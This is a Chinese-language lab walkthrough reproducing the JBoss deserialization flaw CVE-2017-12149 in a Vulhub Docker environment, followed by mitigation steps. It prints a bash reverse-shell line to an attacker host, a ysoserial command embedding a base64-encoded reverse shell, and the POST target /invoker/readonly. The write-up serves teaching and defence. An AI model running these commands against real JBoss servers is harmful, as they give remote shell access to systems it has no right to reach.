JBoss-5-x-6-x-反序列化漏洞(CVE-2017-12149)复现

漏洞描述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

复现过程

  1. 运行测试环境

    cd /vulhub-master/jboss/CVE-2017-12149
    docker-compose up -d

访问 http://本机ip:8080查看Jboss默认页面

  1. 编写反弹 shell 命令
    使用 bash 进行反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,需要用进行一次编码。

工具:http://jackson.thuraisamy.me/runtime-exec-payloads.html

bash -i >& /dev/tcp/攻击机ip/监听port 0>&1

1.png

  1. 生成序列化数据
    使用 ysoserial 来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:

    1
    java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
  2. 发送 POC
    生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly
    2.png

  3. 成功反弹到 shell
    3.png

修复方法

  1. 不需要 http-invoker.sar 组件的用户可直接删除此组件。
  2. 添加如下代码至 http-invoker.sarweb.xmlsecurity-constraint 标签中,对 http invoker 组件进行访问控制:<url-pattern>/*</url-pattern>